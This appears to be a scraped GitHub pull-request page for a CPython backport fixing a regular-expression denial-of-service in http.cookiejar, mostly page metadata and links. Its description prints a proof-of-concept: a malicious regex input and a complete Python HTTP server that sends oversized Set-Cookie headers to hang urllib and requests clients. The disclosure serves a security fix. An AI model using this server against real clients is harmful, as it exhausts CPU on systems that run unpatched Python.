René's URL Explorer Experiment


Title: [3.6] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) by miss-islington · Pull Request #17343 · python/cpython · GitHub

Open Graph Title: [3.6] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) by miss-islington · Pull Request #17343 · python/cpython

X Title: [3.6] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) by miss-islington · Pull Request #17343 · python/cpython

Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) GH- Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 GH- Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): GH- Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was. (cherry picked from commit 1b779bf) Co-authored-by: bcaller bcaller@users.noreply.github.com https://bugs.python.org/issue38804

Open Graph Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...

X Description: The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...

Opengraph URL: https://github.com/python/cpython/pull/17343

X: @github

direct link

Domain: github.com

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322
route-pattern/:user_id/:repository/pull/:id/files(.:format)
route-controllerpull_requests
route-actionfiles
fetch-noncev2:dcc9e4c6-e745-e12a-02a5-bcdd7c27f092
current-catalog-service-hashae870bc5e265a340912cde392f23dad3671a0a881730ffdadd82f2f57d81641b
request-idA802:293912:1FE59A:2A1861:6B022DB7
html-safe-noncea4273742e49b445d5dccc54aaa2c517c1b8d51d79efa81419373080f8ae9dcd4
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBODAyOjI5MzkxMjoxRkU1OUE6MkExODYxOjZCMDIyREI3IiwidmlzaXRvcl9pZCI6IjY0MzY0MTA0NTIyNTA2MDI5MzUiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ==
visitor-hmacf5e2ebcfcd9e27c0d067b5bca0f7a927d939889d8172ae2a95c28d93ea7f4aca
hovercard-subject-tagpull_request:344543458
github-keyboard-shortcutsrepository,pull-request-list,pull-request-conversation,pull-request-files-changed,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///pull_requests/show/files
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/python/cpython/pull/17343/files
twitter:imagehttps://avatars.githubusercontent.com/u/31488909?s=400&v=4
twitter:cardsummary_large_image
og:imagehttps://avatars.githubusercontent.com/u/31488909?s=400&v=4
og:image:altThe regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cooki...
og:site_nameGitHub
og:typeobject
hostnamegithub.com
expected-hostnamegithub.com
None87e774ee7c6b3bee0490394e4d3e57ec9dbc956f74b87ea685dc8996c1676456
turbo-cache-controlno-preview
diff-viewunified
go-importgithub.com/python/cpython git https://github.com/python/cpython.git
octolytics-dimension-user_id1525981
octolytics-dimension-user_loginpython
octolytics-dimension-repository_id81598961
octolytics-dimension-repository_nwopython/cpython
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id81598961
octolytics-dimension-repository_network_root_nwopython/cpython
turbo-body-classeslogged-out env-production page-responsive full-width
disable-turbotrue
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release423dbb54c5e7bfecc838eb387c1435eb3d0e760d
ui-targetfull
theme-color#1e2327
color-schemelight dark

Links:

Skip to contenthttps://github.com/python/cpython/pull/17343/files#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fpython%2Fcpython%2Fpull%2F17343%2Ffiles
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fpython%2Fcpython%2Fpull%2F17343%2Ffiles
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fpull_requests%2Fshow%2Ffiles&source=header-repo&source_repo=python%2Fcpython
Reloadhttps://github.com/python/cpython/pull/17343/files
Reloadhttps://github.com/python/cpython/pull/17343/files
Reloadhttps://github.com/python/cpython/pull/17343/files
pythonhttps://github.com/python
cpythonhttps://github.com/python/cpython
Codehttps://github.com/python/cpython
Issues5k+ (5k+)https://github.com/python/cpython/issues
Pull requests2.4k (2.4k)https://github.com/python/cpython/pulls
Actionshttps://github.com/python/cpython/actions
Projectshttps://github.com/python/cpython/projects
Security and qualityhttps://github.com/python/cpython/security
Insightshttps://github.com/python/cpython/insights
Sign up for GitHub https://github.com/signup?return_to=%2Fpython%2Fcpython%2Fissues%2Fnew%2Fchoose
terms of servicehttps://docs.github.com/terms
privacy statementhttps://docs.github.com/privacy
Sign inhttps://github.com/login?return_to=%2Fpython%2Fcpython%2Fissues%2Fnew%2Fchoose
ned-deilyhttps://github.com/ned-deily
python:3.6https://github.com/python/cpython/tree/3.6
miss-islington:backport-1b779bf-3.6https://github.com/miss-islington/cpython/tree/backport-1b779bf-3.6
Conversation 9 https://github.com/python/cpython/pull/17343
Commits 1 https://github.com/python/cpython/pull/17343/commits
Checks 0 https://github.com/python/cpython/pull/17343/checks
Files changed https://github.com/python/cpython/pull/17343/files
Please reload this pagehttps://github.com/python/cpython/pull/17343/files
[3.6] bpo-38804: Fix REDoS in http.cookiejar (GH-17157) https://github.com/python/cpython/pull/17343/files#top
Show all changes 1 commit https://github.com/python/cpython/pull/17343/files
66e39be bpo-38804: Fix REDoS in http.cookiejar (GH-17157) bcaller Nov 22, 2019 https://github.com/python/cpython/pull/17343/commits/66e39be71c47a90f760cd44c0c6eabeb53ff5bb8
Clear filters https://github.com/python/cpython/pull/17343/files
Please reload this pagehttps://github.com/python/cpython/pull/17343/files
Please reload this pagehttps://github.com/python/cpython/pull/17343/files
cookiejar.py https://github.com/python/cpython/pull/17343/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
test_http_cookiejar.py https://github.com/python/cpython/pull/17343/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
ACKS https://github.com/python/cpython/pull/17343/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
2019-11-15-00-54-42.bpo-38804.vjbM8V.rst https://github.com/python/cpython/pull/17343/files#diff-dca8f044e9c541004eded788cfb85ed47b3e19fe552c4e1c15b5fade33b528f7
Lib/http/cookiejar.pyhttps://github.com/python/cpython/pull/17343/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
View file https://github.com/miss-islington/cpython/blob/66e39be71c47a90f760cd44c0c6eabeb53ff5bb8/Lib/http/cookiejar.py
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17343/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17343/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
https://github.com/python/cpython/pull/17343/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
https://github.com/python/cpython/pull/17343/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
https://github.com/python/cpython/pull/17343/files#diff-1b1fdb83687ca45b995863d26cb590b5021e10db98c92b25d71ed67781c589ff
Lib/test/test_http_cookiejar.pyhttps://github.com/python/cpython/pull/17343/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
View file https://github.com/miss-islington/cpython/blob/66e39be71c47a90f760cd44c0c6eabeb53ff5bb8/Lib/test/test_http_cookiejar.py
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17343/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17343/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
https://github.com/python/cpython/pull/17343/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
https://github.com/python/cpython/pull/17343/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
https://github.com/python/cpython/pull/17343/files#diff-35c529f88b8ac0c75eb7dd9d6488c3bb0793362344687ac6787d1cb3941763fd
Misc/ACKShttps://github.com/python/cpython/pull/17343/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
View file https://github.com/miss-islington/cpython/blob/66e39be71c47a90f760cd44c0c6eabeb53ff5bb8/Misc/ACKS
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17343/{{ revealButtonHref }}
https://github.com/python/cpython/pull/17343/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
https://github.com/python/cpython/pull/17343/files#diff-d1243956feb505c5459fc05387e194609efb5c350cee202942be47ed30d7d7d0
Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rsthttps://github.com/python/cpython/pull/17343/files#diff-dca8f044e9c541004eded788cfb85ed47b3e19fe552c4e1c15b5fade33b528f7
View file https://github.com/miss-islington/cpython/blob/66e39be71c47a90f760cd44c0c6eabeb53ff5bb8/Misc/NEWS.d/next/Security/2019-11-15-00-54-42.bpo-38804.vjbM8V.rst
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/python/cpython/pull/17343/{{ revealButtonHref }}
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.